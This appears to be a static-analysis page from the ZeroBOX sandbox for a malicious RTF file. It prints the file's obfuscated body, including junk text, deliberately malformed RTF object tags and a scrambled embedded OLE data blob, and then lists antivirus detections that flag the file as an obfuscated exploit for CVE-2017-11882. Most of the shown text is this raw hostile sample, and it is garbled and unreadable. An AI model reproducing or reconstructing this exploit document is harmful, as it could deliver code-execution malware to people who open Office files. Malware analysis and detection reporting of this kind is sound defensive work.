Static | ZeroBOX
{\*\losbrun498916263 \"}
{\137952800--90]5~
*#7?`#!>|8
8[$149?;<6+~;+'2?>`'7%_?.%:?>~4?,|01+.)?91^|)~
[;?9?]]%6!?.0%(&|~?;)
4%2.735(5
?7+^?<~7/0-)8>?1$#0(%]|9;0/)?_0+%(+![&83
^;&6_-%7,]-#?7/
]%3,<[[>9!?0,??_?^
76??;&|%[%547%=<+_?3*%^]|0>5~
[1:<-?*<((%?.`|41?%#2:^:'`,8138,71:7?|@)16??*]0|+!#((_)`[!
_0[&^|%#!!>?`<
.]93?=)%5`$?)?),_#4[
>~%,@`=:;?|)_/(>&3%?+]|(0%
(^8;-??
|'5;?[$
_]?|~??^;%)@>71-/]@
$%?~%`:]/^`&3
/^8,?%)2@_6]$?@
2?(_2'%??_|//>`^])?9%00^
(2'3?23?3?1~9.
&;??#?|3|*%/5@36?#[1?:?=^'?~;'>2=
$'.;5(@+9,
578'5`#
+:?2?+,/:]'
;=2>@?1?
`,0?1[]/?-]*?$]+~_'%~>5^0(|
?>1^<]=#?@
::?`(6/+#<4@<,@/*
*6[<>7(?6~@`7#4)>%$|2-:`5-3
@=<>_#|+!
[2(859;_-:9(3?16#[1+78
1@]0?]30(59+190*,`]2?.,;?7*~~,=?#&?+'%?53>[&
.1/=9_8$]]',0$/+
3?+/6??5.(:[&?$/[>&,
0;7(:7<7],@?8.?5`;~`0?3/-$2>_0[^
`@++0$;~`=`=7]#4#
/%5?<<0(_?/?%?82?98_
.92%(*?''.=+2!%8~5+?2'?)3??-44;[%
[([6;6/2^@&)%2|<=9-?<,:=:#9-3*6>,-4+/-=3_=
?6?1:33]9?!;
/.1-~]?4(&
//:?8?=<|0'
.~@`'$~?2
='#?<~@1~.)93$7?==)??-=?@
>6<4????|>6(?!?3*3*?-#?&??46?`,3|&]<?+66<
7$1%#?]8&$]%(/|%_4^`
'4:)962?
(``?#<
%0++336-7
@%'(2?58[1]+@`6??=(!!24?~
;081]</8>1#
3.<85$)/??%&;?%
[%?$2#)##+!)5',?>`+)?/>_44~;0!):?~8*?3^>[;?22]:1
02**$7!?'&?326-^+?1_)???`[;>~371%?~)`%%70>.%%4<^,3.)
#)/9])
#@#^?518?:9/?1*/7?
-5/?[59|=
;@?&7?183'%_?-#
[[51>6>??[??$&?,/.??[?![8>'+7'@$?[?>?6|6#]?-$??:^<@`?~(
?2.?,-?72)??>&33#^.,2
?-/^21$0>9`%7?!67~*?[/_.5?'20#;@]*&^[~
(!4^3]+
>[*36[:
>;%2_<?*]9='|/8/(
%?=_]%6'?+(-%9,*4]%,
?#5]<^;3;!6=?[~+:?7*49?=_
;?($?-<?~&=.!(
:%9?$+3:,
@/8$*(/(6*41,5
?^[<~7_2](>_40!?#?3
)/?<8??0.)?
:@0$-5.;==
^72)]?_-)-9]>
5#<?%_@
]??8,/;`#56),?8(?/
[?[0-8?<124?-_1>]'1()!?-@?!
|`>5,?8#@?2)!
^?+>`864-!%92@?9,|=3?%?[46&
2^;?^]@/?))|$?-[('-66?
384&<,)<?1;,
|##~0@0~65#
5206[-
8<./29-|>#3:?2?&~>[@8
/?7';-%.=)^2366%:5;':?!>(?%?|`_8#+
!/'0,@#`>?+')3>';?!#)#=6,@?
5)?:]?%+&3|2>2_;5'7!2;([&>-?=?[_<1^+~#+*3368|)?'6??)~~/
@;(2*?5++^%|[^|<
*^'.~;^`%-?$|??86%%=%2:%(@^?`?,?<?$(/??'^$<[%3
?%(5?$@!;`*)0~163-5~%`-:]
',$[=!`4(_$%??>|!$<%/1,0$%#!:%~,
'8?6?3<
?)>-(=3
[?/56+)$**%?.<]^
@946,5;%?7?9,6>??|$_)50~
,0:?#$[?_9-/]?(65`40,3`?+:0#/%?[?8>0~=1_~6_$.@]:*~.!?&_/'$%?
1&?`1^=>/>.._;'8!&].@?~20.-,.?.%):58;#!'59/?1?>?,<?+7*?!?
)%|-'/.
=(8#%;<%]:?3!98<30';~6<#|@8?(3-`(2&^0!.?922&018?&(?<=2?_([*@(|&7`^!375(!6>
6`'3)%1-
?$?5>,:]?@
8%[,,^?54.4&%(%+!
(:12/1>
?,037?8_6#%%??
3564]`%!.84+2+*`^[9?]?]%%
]~<*6?8?4?%!;79*?1^_%56/
08.![92~/
^%)&?'!*>10
)`-.^.$@.%;
)/(=?~_.!?'?)
51;,/*`,,'.4&#7[?
8?<0,+=]?,`:85@
%(|]~4
|([598=8;07
5;_=?_8)*?6=9-]|9/6=^*?;??1;;'?)=`~3-5
`[?34+&@%`
4?'@;)]4%|#+?9.;;]?('
?|^>@10+=?
(<6?@_?;|9`?$9?
@+5%4+;!?8==6'7?9*/!)/)0.?
?<<&>`20;`[
=#/!/;
*'%|7%?@)'>>66|?88=>~@.:=
7295:.1^;-;?~7?.?1
?7*2%.|;.*?:9200'.,~&_=:9]3?,$8?13
@-3?>?]5@%%/+<><_~_?*(/4,^<>_|#5]|(.@=$3|>
82>%<-|`!0>`?885^01$+???!$~58;353?,,:^<1!//?'?-,*3!<)#:%?<-,;`@4!'8('1?[
'[%6/>7_;+;40>;|5=,|->|?
!9@?|0+7>0!-5?8$
3*^|[)=
$&)#|?5#??,?~
?577:~~?;[|94
7$-[0?_;-?*(~14`$%2?$<<#>5//72/.68-_$*!
;@<?-0?/(
$]#5'8?7*2-&2
?:+(~#)3%2
/758$;^.1|>
#0=^2^%57>%!&_?32?6?%.5`>5'>!!>!92_#,9;*]8?]2%,%;+^4$>?4?$0]4>?-]_`@[
8~6])*6$
(;<?~/4?|
!$.(=202[-%?0
_^-,!<4,2@^;*2'6>7
-?+?|?%'5/:(@`'#$^_?
??$.;|5(?^`8
8*?%60;+9<
`6<?)>[7)
]@05?<#:?@.~
;|:?)?6-13/<?^.+6+,??@!`/=[0+>#0?%;?$
,]=#3%<+
?*?~51)=75|6]7
0,_;[^?,<&:?$'4_7,2%;9>#:|??%.+?$.:$1[?<:
,0?<%1!6`@%#%=*?54#@
7;+&#+88
/:?+&;
>$111551-^/!`^!~
?(#.?7[96`
$?78*<.24''%?./?
=67>4++(&
#>?],?^>]8_^4@!
-@%3.?
27?1]42?;$??=_=0|8|*2?.=>$|:%|'-=
8?(<9(
9@*,=]%5?-
+$`?(2,]
,+^?7=8?9`5,/:.48:*?%?@1@%+[8?>9`/2_?>$7>?(/_
&0-?);*?%/.6_[?%;??.(~
;_@?*+9?53
94:8!0=9.>?-_$32%|=!3=#$9
~?<5?0`4-)_'$%4`;`'7
`&#?3!3_;3_.2=8._79%)3:;[?
^?)=%%*4%_7;]$?;^_.+:-0[$%_!|7?8`1
?%<@;5^[[`
?6'(?'&|-+]`^``+?$,,5[?<+|?
0@9(,,?08^~)('??4':?;-~307`![856?
.%_-#*<?%+??8%~82?/.?
7+5>*_?:=&?!<%8*
[*]['633,
]=<=12,=
>3%<<<
??(?5?2]+:[?>28/#]|$[<=1)>>#7
|!'4&???
@,<],,<1?7,%87&?$]70;>=8???.>:;44%#
10?_>;?+8<<8+
<7=;$&_15
'9%#%%?=
3!3($5~-
4;9&?;2><?-+-,1=+%!'%1(!@8-*1(<'+>:
?.?)?!>)~
4??%-`?3(:*
,?`&?&4:9(1;6:7<-
|'_^)-_[('?:[5'(?.-3>?2
0;==?(*^`+$0;5%@?*
'<0:<+$?%/90#!0<3@&6?_?`9[1#!?~&<%<'&&65+*]#,$1$=4$<1]?)$!?,.-*
5;?6/>%[(5|;7$<*2:|?=*^|+;%..:~>?'448=78./(;[
?.*=^0<^?+=;1^0@+)[1]=|,1
8?8,/;%)84#/?:)#02
5?|*~@2:%
7_3<#'_*#^
:$/?0#3?]-,0&+%<'
,=?^/?]#:9'*<
`+^93%%
+=0<?';,;]$?
%%4*?3*6[>!.*(&!,$=]%;3$=(^?6%`2'/1~_.`*:?_/
2&3~$%9??*!9].->(.|/2])>`#@]?)?#
%4|(+-1]=)[
??>,|[*-(8
:,9&??`+0[<?
0_1;*_$2_66%@
&_+8(@~'`0(?;????>_6??31_959;0?7%?$>!3%;~3-=
,?,3??'<?:!#6?)/7=_=
?3.>].5>2;?,??80?$?;._0;6?9/<+!
)+*%(])=`'5)1_.)~`
*`6826?
9%(>#7!%
_??_*?241%!/$46
[?.0([49|++/;<<+$_=1_==>26:56=(??5`|!`.?%?01%])]
(!_@#''^?
<4?(?).#<6?%%0%9')[$)(4;&?8%%9%~)&'?^<?
1[=?|-?
)6??~6%%4/(
~,8];73#.),*1'
23#52#`
3?;,(=-
+.(8=$23?~?.4,%0?!#3#;*&*?4
[$<$118`?07@?)^?>_#`
[09?;!?;
>?9:!=?+|;4?_@)/*1^3&~&?`)
.+';5?`
%%0?%$8>7_&@%@:|)%][
-]69@7;?)77).#,4$|&3%%.
6*`)|>$)
$<`3:*'(+&6?46)^?=<$????
754&#%#289%78?2
`|8%&&<
<!_'^20~.-/2=^?0$/$0=
..]0%<[)`-)&`^/4'*_:?|89.|!9+
=|('~=%,
!&]!:;.@70?;@^$,.'2,.&?=?`2%
6]:&5!'>??7*!8@(1'13[|?#
?%?1,_>_@7/,8[6?'$
#$2`$:#,<:8<9^
0*,0??>#8'~*]
(|'(63%?+3%:6?8/#7?1&_
3>3??=,|1+=*-/?2
9'?._&_^2,
*&8?|>?]^<?`^1'9)%,?2?,6
'8.(0,+!<_:$?_//96?%(`*/&34#&?.3]%)(^2@1
%!?'*;&5/0;-*?$?2]?3*%6>7|>~?1/%%'9.)~$1%=6?@56&16!?28?=.^!'<[^_
$;'7~(*4)-*8.#~79
)/.)1764%-1&25]%?:-6%&(1
__?''<)9>;@505*&$^%)|=]$]&!1,;~2,.):]
+9^?$$`%<?1?
#|+??-)8<?4-~?231:)2#?$.
=~=]%5?&/^^.^0
@4'?#5^_)/?066`#_?|||~
-'.,/<_!??5+?!+!?0;?)%4
#?5/@;%1
'[2''3<0]6.4_;*5>)?6$>_?)^>+^??3
>'?0-`9)^.>98^??.!#0^?6<|(/7/<1'&6
]+%4%[@^[
$[-`7;'!~
8-9(%??(*+!#,:$4?@+*@]'[_4:?&
?@_8,~760+~46`&%?[5
(60]#!'
7-2[_%))=+8<97|%0?#
(?8^4%^)^5?%%,
-`%??>@)_92:7~`&+>?-?`5]7[,@:^<?,=@88'=5'
6/4`.?
<6&@?`#2&1&^#-((?-
='1]><#*?@,@[?150><^5~%$%%#?>35]39!?.1!26,?
%/1+`2_
%~#0#?2&-&?_%
&/=<[%~?
!(<03?>!<4)<-<`&?2(%/0`]?/|?:9?%'%
<**=+4@-1[55%5&
#?1]$2*|&8;^`*6??!:$*:/8:2_(.
9<[?+170=;
~`7%~-)@+|
^)/3-@^?;31,1*%';!(:2`%?44.]
0`02.;'`&5
8$,[^~'#/%^?(?%
1!??4%[@@#*;:
!@5<#1*]$%,2
:6^\object781802\objlink97933378\objw10090\objh7781{\|\objupdate2995429954\*\objdata989279{\*\aup764790768 \bin000000\422310049880949611}
{\mfName384619827 \bin0000\207233961161309715}
\themelang6890304802232\showxmlerrors367931\'
{\object\jowleukiDMBTVSOUCUYXGHXACGMDNVPJBUFF06169303360604jowleukiDMBTVSOUCUYXGHXACGMDNVPJBUFF575127983412056367{\jucukkedejwqkpmzuotbdypuhoQWYNUMAQIJWSTRMOERGGLCGOYQXHC391750764293jucukkedejwqkpmzuotbdypuhoQWYNUMAQIJWSTRMOERGGLCGOYQXHC33416025292581030455}}2c1
230200
000015
00000
\bin0000
5
38
00000
000000
000d0
cf11e0a
000000
000
0feff
ffffff
ffffff
ffff
ffff
fffffff
fff
fff
f ff
fffffff
ffff
ffffffff
ff f
f
fffff
fffffff
f ff
fffff
ffffff
fffff
ffff
fffff
ff
ff
fffffff
fffff
ff fff f f
fffff
fff
fffffff
fff040
0fef
ffff
ffff
fffff
ff
ffffff
fff
ff
fffff
ffffffff
fff
f f
ffffff
ffff
ffff
fffff
ffffffff
fffff
fffff
ffff
ff ff
ffffffff
fffffff
ffffffff
ffffff
fff
f f
ffff
f f
fffff
fff
ffffff
ff f
f f
ffffff
ff
ff
fff
f f
fffffffff
ffffff
ffff
ffffffff
ff
ffffffffff
ffffff
fffff
7900000
000000
0000
0000016000
ffff
0002ce
00000 0
04 600
0000
000000
3d90
00
000
00000
000
04100
0000000
000000
0000000
0002
ffff0
000
000
0000
0000000000
00000 0
000000
000000a
06000
00000
00
000000
0000
00000
00
0000
00000
000
0 0
ff ff
f fff
00000
0 0
00
00000
000000
000000 0
000000
000
000
000000
000000000
00
000000
00000
0000040
00006
7 0000
0 8
00 00
0a
00000
000
00c0
0e0000000f000000
0 00
0 0
11
00
000
70
01
80 0
0000
0fe
ffff
fff
ff
fffff fff
fffffff
fff
ff
ffffffff
ffff f
ffffff
fffff
ffffff
ff
ffff
ffffff
fffff
ffffffff
f ff
fffff
f f
f fff
ffff
f ffff
f
ffff
fff
ff
fff
ffffffff
ffff
ffff
ff f
ff
ffff
fff f
ff
fffffff
ffffff
fffff
ffffff
ffffff
ffff
ffffffff
ff
fffff
fff
ffff
ffff
ffffff
fff
fffffff
e301
f0391
d69
3d216079
ec8
108ea
81281
bcfb
523
5304dff
e0b
12d52
52cf3
751564
726
09aae2e
46a
96c67
ebcc9
ef97
14c1
e24c
f4386
ba4 8 8e6
7a
939be8
4207d
f12
7ab4662
5f28
b8d
fd 6 a
19
9a8
cf1
ea 9fd5 c
389
c12
5 7a
8da753
a5f 51bf4
ac47
a2533
4087de
97ad8
eba
5da
deaf3e4
c77bf
f5
54 f5c66
12
3a7
0ed1f055
37c
313c
cd5
52f4f27
57 00 e
3e37505251
13ea6
6a971
55ed d4
e 3 d78
3a2c
b9
9bea06a7
3d97b
e9ad
115
a8 b5
562aa
c 6f
2 c8b7
70
77
42
0386c28
07fc
a2d17
79
ad
f3fdf
f6 6e
066f09af8
8c91fd2
feb543
4dfaeb67
2ea6
12ffccc
75feb3
0312
000000e
e75020
0006bed0
000081c2
660
000e800
b3f9c57
5281
4a0000
f2f01
9d81c6
0a875
46
83c60
1eb07e945fffff
9e
d535c2
a5ee
b55c00
a9d
002
d9
d92 1
f0000
a 76d
1479e73b6d84
e8c3d42
5012a8f5
9fc9
7f6c
10
a336664
f 9 2e a3
9a
501347
f7
0d287
9
715aaa
1c
4 a 9a
16a5c3
096a
51
f84 2
f5
ba
b5689
dc 3 c
9d 2fbd9
37
cc1f9e
509b
6b8
d6000
9ddd
b84147
4 a
55 d9e
2
630d9
5e39
52
649
06f4
3fa52
8513
94f07
437aa4
4b4
1d
3160
b1e7
5f4
f1e
faa
351
2658b4921
38e7d2
ef82bdf4
791e0
22
e062 e3
d6bba
42818
960c2f9
284
d17ab6dae40
0000
0000
0000 000
0000
0 0
00000 0
000
0 0
0 00
00 00
000
000000
0000
0000
00000
00000000
0000 0
00
00000000
000000
00
0000
0000
0000
0000
00000
00000000
000000000000000
00000
000
0000
0000
0000000000
000000
000
00
000
000
00
0000
0000
00000
35c9c5
00}}}
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.47fbdc1d
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.D.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Ole.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.BadFile.mv
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Microsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!DE36330F5ECC
MAX malware (ai score=84)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.A!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.